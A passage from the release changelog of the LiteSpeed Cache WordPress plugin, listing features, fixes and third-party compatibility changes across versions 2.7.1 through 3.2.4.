* **Page Optimize** Reprioritized Inline JS Defer to be optimized before encoding, for a significantly smaller result.
* **LQIP** Detect if the file exists before sending LQIP request to QUIC.cloud.
* **CCSS** Sped up CCSS process significantly by sending HTML and CSS in request.
* **CCSS** Improvements to mobile CSS support in CCSS.
* **CCSS** Minimize CCSS failures by attempting to automatically fix CSS syntax errors.
* **Cloud** Domain Key will be deleted after QUIC.cloud site_not_registered error to avoid endless repeated requests.
* **CDN** CDN Original URL will default to WP Site URL if not set. (@ruikai)
* **CLI** Global output format `--format=json/yaml/dump` and `--json` support in CLI. (@alya1992)
* **CDN** Improved handling of non-image CSS `url()` sources in CDN. (@daniel McD)
* 🐞**CDN** Fixed CDN replacement conflict w/ JS/CSS Optimize. (@ankit)
* **Crawler** Only reset Crawler waiting queues when crawling begins. (@ruikai)
* **Network** Network Enable Cache is no longer reset to ON Use Network Settings in enabled. (@RavanH)
* 🐞**Activation** Fixed a PHP warning that appeared during uninstall. (@RavanH)
* **Debug** Automatically omit long strings when dumping an array to debug log.
* **Report** Subsites report now shows overwritten values along w/ original values. (#52593959)
* **REST** Improved WP5.5 REST compatibility. (@oldrup)
* **GUI** Server IP setting moved from Crawler menu to General menu.
* **GUI** Localize resources moved to Localization tab.
* **Config** News option now defaults to ON.

= 3.2.4 - Jul 8 2020 =
* **Object** New installations no longer get custom data.ini reset, as this could cause lost configuration. (@Eric)
* **ESI** Now using `svar` to load nonces more quickly. (@Lauren)
* **ESI** Fixed the conflicts between nonces in inline JS and ESI Nonces when Inline JS Deferred is enabled. (@JesseDistad)
* 🐞**ESI** Fixed Fetch Latest Predefined Nonce button.
* 🐞**Cache** Fixed an issue where mobile visits were not being cached when Cache Mobile was disabled.
* **CDN** Bypass CDN constant `LITESPEED_BYPASS_CDN` now will apply to all CDN replacements.
* **Router** Dropped `Router::get_uid()` function.
* **Crawler** Updated role simulator function for future UCSS usage.
* **GUI** Textarea will now automatically adjust the height based on the number of rows input.
* **CLI** Fixed an issue that caused WP-Cron to exit when a task errored out. (@DovidLevine @MatthewJohnson)
* **Cloud** No longer communcate with QUIC.cloud when Domain Key is not set and Debug is enabled.
* **Cloud** Score banner no longer automatically fetches a new score. (@LucasRolff)

= 3.2.3.2 - Jun 19 2020 =
* 🔥🐞**Page Optimize** Hotfix for CSS/JS minify/combine. (@jdelgadoesteban @martin_bailey)

= 3.2.3.1 - Jun 18 2020 =
* **API** New filter `litespeed_buffer_before` and `litespeed_buffer_after`. (#PR243 @joejordanbrown)

= 3.2.3 - Jun 18 2020 =
* 🌱**Page Optimize** Added Unique CSS option for future removal of unused CSS per page. (@moongear)
* **Page Optimize** Fixed an issue where Font Optimization could fail when having Load JS Deferred and Load Inline JS Deferred. (#PR241 @joejordanbrown)
* 🐞**Page Optimize** Fixed an issue with Font Display Optimization which caused Google Fonts to load incorrectly. (#PR240 @joejordanbrown @haidan)
* 🐞**Network** Use Primary Site Configuration setting for network sites now works properly with Object Cache and Browser Cache. (#56175101)
* **API** Added filter `litespeed_is_from_cloud` to detect if the current request is from QC or not. (@lechon)
* **ESI** ESI Nonce now can fetch latest list with one click.
* **GUI** Updated remaining documentation links & some minor UI tweaks. (@Joshua Reynolds)

= 3.2.2 - Jun 10 2020 =
* 🌱**Purge** Scheduled Purge URLs now supports wildcard. (#427338)
* 🌱**ESI** ESI Nonce supports wildcard match now.
* **Network** Use Primary Site Settings now can support Domain Key, and override mechanism improved. (@alican532 #96266273)
* **Cloud** Debug mode will now have no interval limit for most cloud requests. (@ruikai)
* **Conf** Default Purge Stale to OFF.
* **GUI** Purge Stale renamed to Serve Stale.
* **Data** Predefined nonce list located in `/litespeed-cache/data/esi.nonce.txt`. Pull requests welcome.
* **Debug** Limited parameter log length.
* 🐞**CDN** Fixed an issue where upgrading lost value of CDN switch setting. (#888668)
* **3rd** Caldera Forms ESI Nonce enhancement. (@paconarud16 @marketingsweet)
* **3rd** Elementor now purges correctly after post/page updates.
* **3rd** Disabled Page Optimization features on AMP to avoid webfont JS inject. (@rahulgupta1985)

= 3.2.1 - Jun 1 2020 =
* **Cloud** LQIP/CCSS rate limit tweaks. (@ianpegg)
* **Admin** Improved frontend Admin Bar menu functionality. (#708642)
* **Crawler** Fixed an issue where cleaning up a crawler map with a leftover page number would cause a MySQL error. (@saowp)
* **Image Optimize** Added WP default thumbnails to image optimization summary list. (@johnny Nguyen)
* **REST** Improved REST compatibility w/ WP4.4-. (#767203)
* **GUI** Moved Use Primary Site Configuration to General menu. (@joshua)

= 3.2 - May 27 2020 =
* **Image Optimize** Major improvements in queue management, scalability, and speed. (@LucasRolff)
* **Cloud** Implemented a series of communication enhancements. (@Lucas Rolff)
* **Crawler** Enhanced PHP 5.3 compatibility. (@JTS-FIN #230)
* **Page Optimize** Appended image template in wpDiscuz script into default lazyload image exclude list. (@philipfaster @szmigieldesign)
* **Page Optimize** Eliminated the 404 issue for CSS/JS in server environments with missing SCRIPT_URI. (@ankit)
* **Data** ENhanced summary data storage typecasting.

= 3.1 - May 20 2020 =
* 🌱**Network** Added Debug settings to network level when on network.
* 🐞**Purge** Network now can purge all.
* 🐞**Network** Fixed issue where saving the network primary site settings failed.
* **Network** Moved Beta Test to network level when on network.
* 🐞**Cache** Fixed issue in admin where new post editor was wrongly cached for non-admin roles. (@TEKFused)
* 🐞**Data** Fixed issue with crawler & img_optm table creation failure. (@berdini @piercand)
* 🐞**Core** Improved plugin activation compatibility on Windows 10 #224 (@greenphp)
* **Core** Improved compatibility for .htaccess path search.
* **Object** Catch RedisException. (@elparts)
* Fixed Script URI issue in 3.0.9 #223 (@aonsyed)
* **Image Optimize** Show thumbnail size set list in image optimization summary. (@Johnny Nguyen)
* **Debug** Parameters will now be logged.

= 3.0.9 - May 13 2020 =
* **Purge** Comment cache can be successfully purged now.
* **Data** Better MySQL charset support for crawler/image optimize table creation. (@Roshan Jonah)
* **API** New hook to fire after Purge All. (@salvatorefresta)
* **Crawler** Resolve IP for crawler.
* **Task** PHP5.3 Cron compatibility fix.
* **3rd** Elementor edit mode compatibility.
* **Page Optimize** Fixed an issue where Purge Stale returned 404 for next visitor on CSS/JS.
* **Page Optimize** Fixed the PHP warning when srcset doesn't have size info inside. (@gvidano)
* **Cloud** Fixed the potential PHP warning when applying for the domain key.
* **Core** PHP __DIR__ const replacement. (@MathiasReker)

= 3.0.8.6 - May 4 2020 =
* **CCSS** Bypassed CCSS functionality on frontend when domain key isn't setup yet.
* **Cloud** Fixed WP node redetection bug when node expired. (@Joshua Reynolds)
* **Crawler** Fixed an issue where URL is wrongly blacklisted when using ADC.

= 3.0.8.5 - May 1 2020 =
* 🔥🐞**3rd** Hotfix for WPLister critical error due to v3.0.8.4 changes.
* **Image Optimize** Unfinished queue now will get more detailed info to indicate the proceeding status on node.
* **CLI** Options can now use true/false as value for bool. (@gavin)
* **CLI** Detect error if the ID does not exist when get/set an option value.
* **Doc** An API comment typo for `litespeed_esi_load-` is fixed.

= 3.0.8.4 - Apr 30 2020 =
* 🌱**Crawler** New setting: Sitemap timeout. (#364607)
* **Image Optimize** Images that fail to optimize are now counted to increase next request limit.
* **Cloud** Redetect fastest node every 3 days.
* **Cloud** Suppressed auto upgrade version detection error. (@marc Dahl)
* **3rd** 3rd party namespace compatibility. (#366352)

= 3.0.8.3 - Apr 28 2020 =
* **Cloud** Better compatibility for the Link to QUIC.cloud operation. (@Ronei de Sousa Almeida)
* **Image Optimize** Automatically clear invalid image sources before sending requests. (@Richard Hordern)

= 3.0.8.2 - Apr 27 2020 =
* **GUI** Corrected the Request Domain Key wording.

= 3.0.8.1 - Apr 27 2020 =
* **Object** Object cache compatibility for upgrade from v2.9.9- versions.

= 3.0.8 - Apr 27 2020 =
* Released v3 on WordPress officially.

= 3.0.4 - Apr 23 2020 =
* **Cloud** Apply Domain Key now receives error info in next apply action if failed to generate.
* **GUI** Apply Domain Key timeout now displays troubleshooting guidance.
* **REST** Added /ping and /token to REST GET for easier debug.
* **Cache** Dropped `advanced-cache.php` file detection and usage.

= 3.0.3 - Apr 21 2020 =
* **Conf** Settings from all options (data ini, defined constant, and forced) will be filtered and cast to expected type.
* **Upgrade** CDN mapping and other multiple line settings will now migrate correctly when upgrading from v2 to v3.

= 3.0.2 - Apr 17 2020 =
* **GUI** More guidance on domain key setting page.
* **Cloud** Now Apply Domain Key will append the server IP if it exists in Crawler Server IP setting.

= 3.0.1 - Apr 16 2020 =
* **Data** Increased timeout for database upgrade related to version upgrade. Display a banner while update in progress.
* **Page Optimize** All appended HTML attributes now will use double quotes to reduce the conflicts when the optimized resources are in JS snippets.

= 3.0 - Apr 15 2020 =
* 🌱**Media** LQIP (Low Quality Image Placeholder).
* 🌱**Page Optimize** Load Inline JS Deferred Compatibility Mode. (Special thanks to @joe B - AppsON)
* 🌱**Cloud** New QUIC.cloud API key setting.
* 🌱**ESI** New ESI nonce setting.
* 🌱**Media** JPG quality control. (@geckomist)
* 🌱**Media** Responsive local SVG placeholder.
* 🌱**Discussion** Gravatar warmup cron.
* 🌱**DB** Table Engine Converter tool. (@johnny Nguyen)
* 🌱**DB** Database summary: Autoload size. (@JohnnyNguyen)
* 🌱**DB** Database summary: Autoload entries list.
* 🌱**DB** Revisions older than. (@thememasterguru)
* 🌱**Cache** Forced public cache setting. (#308207)
* 🌱**Crawler** New timeout setting to avoid incorrect blacklist addition. (#900171)
* 🌱**Htaccess** Frontend & backend .htaccess path customize. (@jon81)
* 🌱**Toolbox** Detailed Heartbeat Control (@K9Heaven)
* 🌱**Purge** Purge Stale setting.
* 🌱**Page Optimize** Font display optimization. (@Joeee)
* 🌱**Page Optimize** Google font URL display optimization.
* 🌱**Page Optimize** Load Inline JS deferred.
* 🌱**Page Optimize** Store gravatar locally. (@zzTaLaNo1zz @JohnnyNguyen)
* 🌱**Page Optimize** DNS prefetch control setting.
* 🌱**Page Optimize** Lazy Load Image Parent Class Name Excludes. (@pako69)
* 🌱**Page Optimize** Lazy load iframe class excludes. (@vnnloser)
* 🌱**Page Optimize** Lazy load exclude URIs. (@wordpress_fan1 @aminaz)
* 🌱**GUI** New Dashboard and new menus.
* 🌱**Image Optimize** Supported GIF WebP optimization. (@Lucas Rolff)
* 🌱**Image Optimize** New workflow for image optimization (Gather first, request second).
* 🌱**Image Optimize** The return of Rescan.
* 🌱**CLI** Get single option cmd.
* 🌱**CLI** QUIC.cloud cmd supported.
* 🌱**CLI** CLI can send report now.
* 🌱**Health** Page speed and page score now are in dashboard.
* 🌱**Conf** Supported consts overwritten of `LITESPEED_CONF__` for all settings. (@menathor)
* 🌱**REST** New REST TTL setting.  (@thekendog)
* 🌱**CDN** New setting `HTML Attribute To Replace`. CDN can now support any HTML attribute to be replaced. (@danushkaj91)
* 🌱**Debug** Debug URI includes/excludes settings.
* 🌱**Crawler** 🐞 Support for multiple domains in custom sitemap. (@alchem)
* 🌱**Crawler** New Crawler dashboard. New sitemap w/ crawler status. New blacklist w/ reason.
* 🌱**Media** LQIP minimum dimensions setting. (@Lukasz Szmigiel)
* **Crawler** Able to add single rows to blacklist.
* **Crawler** Crawler data now saved into database instead of creating new files.
* **Crawler** Larger timeout to avoid wrongly added to blacklist.
* **Crawler** Manually changed the priority of mobile and WebP. (@rafaucau)
* **Browser** Larger Browser Cache TTL for Google Page Score improvement. (@max2348)
* **Task** Task refactored. Disabled cron will not show in cron list anymore.
* **Task** Speed up task load speed.
* **ESI** Added Bloom nonce to ESI for Elegant Themes.
* **Cloud** Able to redetect cloud nodes now.
* **Img_optm** Fixed stale data in redirected links.
* **Lazyload** CSS class `litespeed_lazyloaded` is now appended to HTML body after lazyload is finished. (@Adam Wilson)
* **Cache** Default drop qs values. (@gijo Varghese)
* **LQIP** Show all LQIP images in Media column.
* **CDN** Can now support custom REST API prefix other than wp-json. (#174 @therealgilles)
* **IAPI** Used REST for notify/destroy/check_img; Removed callback passive/aggreesive IAPI func
* **CSSJS** Saved all static files to litespeed folder; Uninstallation will remove static cache folder too; Reduced .htaccess rules by serving CSS/JS directly.
* **Object** Fixed override different ports issue. (@timofeycom #ISSUE178)
* **Conf** DB Tables will now only create when activating/upgrading/changing settings.
* **DB** Simplified table operation funcs.
* **CSSJS** Bypassed CSS/JS generation to return 404 if file is empty (@grubyy)
* **CSSJS** Inline JS defer will not conflict with JS inline optm anymore.
* **CDN** settings will not be overwritten by primary settings in network anymore. (@rudi Khoury)
* **OPcache** Purged all opcache when updating cache file. (@closte #170)
* **CLI** CLI cmd renamed.
* **CLI** Well-formatted table to show all options.
* **Purge** Only purge related posts that have a status of "published" to avoid unnecessary "draft" purges. (@Jakub Knytl)
* **GUI** Removed basic/adv mode for settings. Moved non-cache settings to its own menu.
* **Htaccess** Protected .htaccess.bk file. Only kept one backup. (@teflonmann)
* **Crawler** Crawler cookie now support `_null` as empty value.
* **Crawler** Avoid crawler PHP fatal error on Windows OS. (@technisolutions)
* **Admin** Simplified admin setting logic.
* **Conf** Multi values settings now uniformed to multi lines for easier setting.
* **Conf** New preset default data file `data/consts.default.ini`.
* **Conf** Config setting renamed and uniformed.
* **Conf** Dropped `Conf::option()`. Used `Conf::val()` instead.
* **Conf** Improved conf initialization and upgrade conversion workflow.
* **Core** Code base refactored. New namespace LiteSpeed.
* **API** New API: iframe lazyload exclude filter.
* **GUI** human readable seconds. (@MarkCanada)
* **API** API refactored. * NOTE: All 3rd party plugins that are using previous APIs, especially `LiteSpeed_Cache_API`, need to be adjusted to the latest one. Same for ESI blocks.* ESI shortcode doesn't change.
* **API** New hook `litespeed_update_confs` to settings update.
* **API** New Hooks `litespeed_frontend_shortcut` and `litespeed_backend_shortcut` for dropdown menu. (@callaloo)
* **API** Removed `litespeed_option_*` hooks. Use `litespeed_force_option` hook insteadly
* **API** Renamed `litespeed_force_option` to `litespeed_conf_force`.
* **API** Removed function `litespeed_purge_single_post`.
* **REST** New rest API to fetch public IP.
* **GUI** Hiding Cloudflare/Object Cache/Cloud API key credentials. (@menathor)
* **GUI** Renamed all backend link tag from lscache to litespeed.
* **GUI** fixed duplicated form tag.
* **GUI** Fix cron doc link. (@arnab Mohapatra)
* **GUI** Frontend adminbar menu added `Purge All` actions. (@Monarobase)
* **GUI** Localized vue.js to avoid CloudFlare cookie. (@politicske)
* **GUI** Always show optm column in Media Library for future single row optm operation. (@mikeyhash)
* **GUI** Displayed TTL range below the corresponding setting.
* **GUI** GUI refactored.
* **Debug** Report can now append notes.
* **3rd** Default added parallax-image to webp replacement for BB.
* **3rd** User Switching plugin compatibility. (@robert Staddon)
* **3rd** Beaver Builder plugin compatibility with v3.0.
* **3rd** Avada plugin compatibility w/ BBPress. (@pimg)
* **3rd** WooCommerce PayPal Checkout Gateway compatibility. (#960642 @Glen Cabusas)
* **Network** Fixed potential timeout issue when containing a large volume of sites. (@alican532)
* **Debug** `Disable All Features` now will see the warning banner if ON.
* **Debug** Dropped `log filters` section.
* **Debug** Debug and Tools sections combined into new `Toolbox` section.
* 🐞**Crawler** Multi sites will now use separate sitemap even when `Use Primary Site` is ON. (@mrhuynhanh)
* 🐞**Img_optm** Fixed large volume image table storage issue. (#328956)
* 🐞 **Cloud** Cloud callback hash validation fixed OC conflict. (@pbpiotr)
* 🎊 Any user that had the contribution to our WP community or changelog (even just bug report/feedback/suggestion) can apply for extra credits in QUIC.cloud.

= 2.9.9.2 - Nov 24 2019 =
* 🌱**GUI** New settings to limit News Feed to plugin page only.

= 2.9.9.1 - Nov 18 2019 =
* 🌱**Env** Environment Report can now append a passwordless link for support access without wp-admin password.
* **Admin** The latest v3.0 beta test link may now be shown on the admin page when it's available.
* **3rd** Compatibility with [DoLogin Security](https://wordpress.org/plugins/dologin/).
* 🐞**ESI** Fixed a failure issue with Vary Group save. (@rafasshop)
* 🐞**3rd** In browsers where WebP is not supported, Divi image picker will no longer serve WebP. (@Austin Tinius)

= 2.9.9 - Oct 28 2019 =
* <strong>Core</strong>: Preload all classes to avoid getting error for upcoming v3.0 upgrade.
* <strong>Object</strong>: Improved compatibility with upcoming v3.0 release.
* <strong>ESI</strong>: Unlocked ESI for OLS in case OLS is using QUIC.cloud CDN which supports ESI.
* <strong>3rd</strong>: Elementor Edit button will now show when ESI enabled. (#PR149 #335322 @maxgorky)
* 🐞<strong>Media</strong>: Fixed missing Media optimization column when Admin role is excluded from optimization in settings. (@mikeyhash @pako69 @dgilfillan)

= 2.9.8.7 - Oct 11 2019 =
* <strong>3rd</strong>: Enhanced WP stateless compatibility. (#PR143)
* <strong>3rd</strong>: Fixed a PHP warning caused by previous PR for AMP. (#PR176)

= 2.9.8.6 - Sep 24 2019 =
* <strong>3rd</strong>: Bypassed page optimizations for AMP. (#359748 #PR169)
* <strong>GUI</strong>: Firefox compatibility with radio button state when reloading pages. (#288940 #PR162)
* <strong>GUI</strong>: Updated Slack invitation link. (#PR173)

= 2.9.8.5 - Aug 21 2019 =
* <strong>CCSS</strong>: Removed potential PHP notice when getting post_type. (@amcgiffert)
* <strong>CDN</strong>: Bypassed CDN replacement on admin page when adding media to page/post. (@martin_bailey)
* 🐞<strong>Media</strong>: Fixed inability to update or destroy postmeta data for child images. (#167713)

= 2.9.8.4 - Jul 25 2019 =
* <strong>Object</strong>: Increased compatibility with phpredis 5.0.
* <strong>Object</strong>: Appended `wc_session_id` to default Do Not Cache Groups setting to avoid issue where WooCommerce cart items were missing when Object Cache is used. NOTE: Existing users must add `wc_session_id` manually! (#895333)
* <strong>CSS</strong>: Added null onload handler for CSS async loading. (@joejordanbrown)
* 🕷️: Increased crawler timeout to avoid wrongly adding a URL to the blacklist.
* <strong>3rd</strong>: WooCommerce Advanced Bulk Edit can now purge cache automatically.

= 2.9.8.3 - Jul 9 2019 =
* <strong>CSS</strong>: Enhanced the CSS Minify compatibility for CSS with missing closing bracket syntax errors. (@fa508210020)
* 🕷️: Crawler now supports both cookie and no-cookie cases. (@tabare)
* <strong>CCSS</strong>: Enhanced compatibility with requested pages where meta info size exceeds 8k. (@Joe B)
* <strong>CCSS</strong>: No longer processing "font" or "import" directives as they are not considered critical. (@Ankit @Joe B)
* <strong>IAPI</strong>: Removed IPv6 from all servers to avoid invalid firewall whitelist.

= 2.9.8.2 - Jun 17 2019 =
* 🔥🐞 <strong>3rd</strong>: Fixed PHP 5.3 compatibility issue with Facetwp.

= 2.9.8.1 - Jun 17 2019 =
* <strong>3rd</strong>: Set ESI template hook priority to highest number to prevent ESI conflict with Enfold theme. (#289354)
* <strong>3rd</strong>: Improved Facetwp reset button compatibility with ESI. (@emilyel)
* <strong>3rd</strong>: Enabled user role change to fix duplicate login issue for plugins that use alternative login processes. (#114165 #717223 @sergiom87)
* <strong>GUI</strong>: Wrapped static text with translate function. (@halilemreozen)

= 2.9.8 - May 22 2019 =
* <strong>Core</strong>: Refactored loading priority so user related functions & optimization features are set after user initialization. (#717223 #114165 #413338)
* <strong>Media</strong>: Improved backup file calculation query to prevent out-of-memory issue.
* <strong>Conf</strong>: Feed cache now defaults to ON.
* <strong>API</strong>: Fully remote attachment compatibility API of image optimization now supported.
* 🕷️: Bypassed vary change for crawler; crawler can now simulate default vary cookie.
* <strong>ESI</strong>: Refactored ESI widget. Removed `widget_load_get_options()` function.
* <strong>ESI</strong>: Changed the input name of widget fields in form.
* <strong>3rd</strong>: Elementor can now save ESI widget settings in frontend builder.
* <strong>3rd</strong>: WP-Stateless compatibility.
* <strong>IAPI</strong>: Image optimization can now successfully finish the destroy process with large volume images with automatic continual mode.
* 🐞<strong>CDN</strong>: Fixed issue with Load JQuery Remotely setting where WP 5.2.1 provided an unexpected jQuery version.
* 🐞<strong>3rd</strong>: Login process now gets the correct role; fixed double login issue.

= 2.9.7.2 - May 2 2019 =
* <strong>Conf</strong>: Enhanced compatibility when an option is not properly initialized.
* <strong>Conf</strong>: Prevent non-array instance in widget from causing 500 error. (#210407)
* <strong>CCSS</strong>: Increase CCSS generation timeout to 60s.
* <strong>Media</strong>: Renamed lazyload CSS class to avoid conflicts with other plugins. (@DynamoProd)
* <strong>JS</strong>: Improved W3 validator. (@istanbulantik)
* <strong>QUIC</strong>: Synced cache tag prefix for static files cache.
* <strong>ESI</strong>: Restored query strings to ESI admin bar for accurate rendering. (#977284)
* <strong>ESI</strong>: Tweaked ESI init priority to honor LITESPEED_DISABLE_ALL const. ESI will now init after plugin loaded.
* 🐞<strong>ESI</strong>: No longer initialize ESI if ESI option is OFF.
* <strong>API</strong>: New "Disable All" API function.
* <strong>API</strong>: New "Force public cache" API function.
* 🐞<strong>Vary</strong>: Fixed an issue with saving vary groups.
* 🐞<strong>IAPI</strong>: Fixed an issue where image md5 validation failed due to whitespace in the image path.
* 🐞<strong>3rd</strong>: Bypass all optimization/ESI/Cache features when entering Divi Theme Builder frontend editor.
* 🐞<strong>3rd</strong>: Fixed an issue where DIVI admin bar exit button didn't work when ESI was ON.

= 2.9.7.1 - Apr 9 2019 =
* <strong>Purge</script>: Purge All no longer includes Purge CCSS/Placeholder.
* <strong>3rd</strong>: Divi Theme Builder no longer experiences nonce expiration issues in the contact form widget. (#475461)

= 2.9.7 - Apr 1 2019 =
* 🌱🌱🌱 QUIC.cloud CDN feature. Now Apache/Nginx can use LiteSpeed cache freely.

= 2.9.6 - Mar 27 2019 =
* 🌱<strong>IAPI</strong>: Appended XMP to `Preserve EXIF data` setting. WebP will now honor this setting. (#902219)
* <strong>Object</script>: Fixed SASL connection with LSMCD.
* <strong>ESI</strong>: Converted ESI URI parameters to JSON; Added ESI validation.
* <strong>Import</strong>: Import/Export will now use JSON format. <strong>Please re-export any backed up settings. Previous backup format is no longer recognized.</strong>
* <strong>Media</strong>: WebP replacement will honor `Role Excludes` setting now. (@mfazio26)
* <strong>Data</strong>: Forbid direct visit to const.default.ini.
* <strong>Utility</strong>: Can handle WHM passed in `LITESPEED_ERR` constant now.
* <strong>IAPI</strong>: Communicate via JSON encoding.
* <strong>IAPI</strong>: IAPI v2.9.6.

= 2.9.5 - Mar 14 2019 =
* 🌱 Auto convert default WordPress nonce to ESI to avoid expiration.
* 🌱 <strong>API</strong>: Ability to easily convert custom nonce to ESI by registering `LiteSpeed_Cache_API::nonce_action`.
* <strong>OPTM</strong>: Tweaked redundant attr `data-no-optimize` in func `_analyse_links` to `data-ignore-optimize` to offer the API to bypass optimization but still move src to top of source code.
* <strong>API</strong>: Renamed default nonce ESI ID from `lscwp_nonce_esi` to `nonce`.
* <strong>API</strong>: Added WebP generation & validation hook API. (@alim #wp-stateless)
* <strong>API</strong>: Added hook to bypass vary commenter check. (#wpdiscuz)
* <strong>Doc</strong>: Clarified Cache Mobile description. (@JohnnyNguyen)
* <strong>Doc</strong>: Replaced incorrect link in description. (@JohnnyNguyen)
* <strong>3rd</strong>: Improved wpDiscuz compatibility.
* 🐞<strong>3rd</strong>: Fixed Divi Theme Builder comment compatibility on non-builder pages. (#410919)
* <strong>3rd</strong>: Added YITH ESI adjustment.

= 2.9.4.1 - Feb 28 2019 =
* 🔥🐞<strong>Tag</strong>: Fixed issue where unnecessary warning potentially displayed after upgrade process when object cache is enabled.

= 2.9.4 - Feb 27 2019 =
* 🐞<strong>REST</strong>: New REST class with better WP5 Gutenberg and internal REST call support when ESI is embedded.
* <strong>ESI</strong>: ESI block ID is now in plain text in ESI URL parameters.
* 🐞<strong>ESI</strong>: Fixed a redundant ESI 301 redirect when comma is in ESI URL.
* <strong>ESI</strong>: REST call can now parse shortcodes in ESI.
* <strong>API</strong>: Changed ESI `parse_esi_param()` function to private and `load_esi_block` function to non-static.
* <strong>API</strong>: Added `litespeed_is_json` hook for buffer JSON conversion.
* <strong>GUI</strong>: Prepended plugin name to new version notification banner.
* <strong>3rd</strong>: WPML multi domains can now be handled in optimization without CDN tricks.

= 2.9.3 - Feb 20 2019 =
* <strong>ESI</strong>: ESI shortcodes can now be saved in Gutenberg editor.
* <strong>ESI</strong>: ESI now honors the parent page JSON data type to avoid breaking REST calls (LSWS 5.3.6+).
* <strong>ESI</strong>: Added is_json parameter support for admin_bar.
* <strong>ESI</strong>: Simplified comment form code.
* <strong>3rd</strong>: Better page builder plugin compatibility within AJAX calls.
* <strong>3rd</strong>: Compatibility with FacetWP (LSWS 5.3.6+).
* <strong>3rd</strong>: Compatibility with Beaver Builder.
* <strong>Debug</strong>: Added ESI buffer content to log.
* <strong>Tag</strong>: Only append blog ID to cache tags when site is part of a network.
* <strong>IAPI</strong>: Optimized database query for pulling images.
* <strong>GUI</strong>: Added more plugin version checking for better feature compatibility.
* <strong>GUI</strong>: Ability to bypass non-critical banners with the file .litespeed_no_banner.
* <strong>Media</strong>: Background image WebP replacement now supports quotes around src.

= 2.9.2 - Feb 5 2019 =
* <strong>API</strong>: Add a hook `litespeed_esi_shortcode-*` for ESI shortcodes.
* <strong>3rd</strong>: WooCommerce can purge products now when variation stock is changed.
* 🐞🕷️: Forced HTTP1.1 for crawler due to a CURL HTTP2 bug.

= 2.9.1 - Jan 25 2019 =
* <strong>Compatibility</strong>: Fixed fatal error for PHP 5.3.
* <strong>Compatibility</strong>: Fixed PHP warning in htmlspecialchars when building URLs. (@souljahn2)
* <strong>Media</strong>: Excluded invalid image src from lazyload. (@andrew55)
* <strong>Optm</strong>: Improved URL compatibility when detecting closest cloud server.
* <strong>ESI</strong>: Supported JSON format comment format in ESI with `is_json` parameter.
* <strong>API</strong>: Added filters to CCSS/CSS/JS content. (@lhoucine)
* <strong>3rd</strong>: Improved comment compatibility with Elegant Divi Builder.
* <strong>IAPI</strong>: New Europe Image Optimization server (EU5). <strong>Please whitelist the new [IAPI IP List](https://wp.api.litespeedtech.com/ips).</strong>
* <strong>GUI</strong>: No longer show banners when `Disable All` in `Debug` is ON. (@rabbitwordpress)
* <strong>GUI</strong>: Fixed button style for RTL languages.
* <strong>GUI</strong>: Removed unnecessary translation in report.
* <strong>GUI</strong>: Updated readme wiki links.
* <strong>GUI</strong>: Fixed pie styles in image optimization page.

= 2.9 - Dec 31 2018 =
* 🌱<strong>Media</strong>: Lazy Load Image Classname Excludes. (@thinkmedia)
* 🌱: New EU/AS cloud servers for faster image optimization handling.
* 🌱: New EU/AS cloud servers for faster CCSS generation.
* 🌱: New EU/AS cloud servers for faster responsive placeholder generation.
* 🌱<strong>Conf</strong>: Ability to set single options via link.
* 🌱<strong>Cache</strong>: Ability to add custom TTLs to Force Cache URIs.
* <strong>Purge</strong>: Added post type to Purge tags.
* <strong>Purge</strong>: Redefined CCSS page types.
* <strong>Core</strong>: Using Exception for .htaccess R/W.
* <strong>IAPI</strong>: <strong>New cloud servers added. Please whitelist the new [IAPI IP List](https://wp.api.litespeedtech.com/ips).</strong>
* <strong>Optm</strong>: Trim BOM when detecting if the page is HTML.
* <strong>GUI</strong>: Added PageSpeed Score comparison into promotion banner.
* <strong>GUI</strong>: Refactored promotion banner logic.
* <strong>GUI</strong>: Removed page optimized comment when ESI Silence is requested.
* <strong>GUI</strong>: WHM transient changed to option instead of transient when storing.
* <strong>GUI</strong>: Appending more descriptions to CDN filetype setting.
* <strong>IAPI</strong>: Removed duplicate messages.
* <strong>IAPI</strong>: Removed taken_failed/client_pull(duplicated) status.
* <strong>Debug</strong>: Environment report no longer generates hash for validation.
* <strong>3rd</strong>: Non-cacheable pages no longer punch ESI holes for Divi compatibility.
* 🐞<strong>Network</strong>: Added slashes for mobile rules when activating plugin.
* 🐞<strong>CCSS</strong>: Eliminated a PHP notice when appending CCSS.

= 2.8.1 - Dec 5 2018 =
* 🐞🕷️: Fixed an activation warning related to cookie crawler. (@kacper3355 @rastel72)
* 🐞<strong>Media</strong>: Replace safely by checking if pulled images is empty or not first. (@Monarobase)
* <strong>3rd</strong>: Shortcode ESI compatibility with Elementor.

= 2.8 - Nov 30 2018 =
* 🌱: ESI shortcodes.
* 🌱: Mobile crawler.
* 🌱: Cookie crawler.
* <strong>API</strong>: Can now add `_litespeed_rm_qs=0` to bypass Remove Query Strings.
* <strong>Optm</strong>: Removed error log when minify JS failed.
* 🐞<strong>Core</strong>: Fixed a bug that caused network activation PHP warning.
* <strong>Media</strong>: Removed canvas checking for WebP to support TOR. (@odeskumair)
* <strong>Media</strong>: Eliminated potential image placeholder PHP warning.
* <strong>3rd</strong>: Bypassed Google recaptcha from Remove Query Strings for better compatibility.
* <strong>IAPI</strong>: Showed destroy timeout details.
* <strong>Debug</strong>: Moved Google Fonts log to advanced level.
* <strong>GUI</strong>: Replaced all Learn More links for functions.
* <strong>GUI</strong>: Cosmetic updates including Emoji.
* 🕷️: Removed duplicated data in sitemap and blacklist.

= 2.7.3 - Nov 26 2018 =
* <strong>Optm</strong>: Improved page render speed with Web Font Loader JS library for Load Google Fonts Asynchronously.
* <strong>Optm</strong>: Directly used JS library files in plugin folder instead of short links `/min/`.
* <strong>Optm</strong>: Handled exceptions in JS optimization when meeting badly formatted JS.
* <strong>3rd</strong>: Added Adobe Lightroom support for NextGen Gallery.
* <strong>3rd</strong>: Improved Postman app support for POST JSON requests.
* <strong>IAPI</strong>: <strong>US3 server IP changed to 68.183.60.185</strong>.

= 2.7.2 - Nov 19 2018 =
* 🌱: Auto Upgrade feature.
* <strong>CDN</strong>: Bypass CDN for cron to avoid WP jQuery deregister warning.

= 2.7.1 - Nov 15 2018 =
* 🌱<strong>CLI</strong>: Ability to set CDN mapping by `set_option litespeed-cache-cdn_mapping[url][0] https://url`.
* 🌱<strong>CDN</strong>: Ability to customize default CDN mapping data in default.ini.
* 🌱<strong>API</strong>: Default.ini now supports both text-area items and on/off options.
* <strong>Vary</strong>: Refactored Vary and related API.
* <strong>Vary</strong>: New hook to manipulate vary cookies value.
* <strong>Core</strong>: Activation now can generate Object Cache file.
* <strong>Core</strong>: Unified Object Cache/rewrite rules generation process across activation/import/reset/CLI.
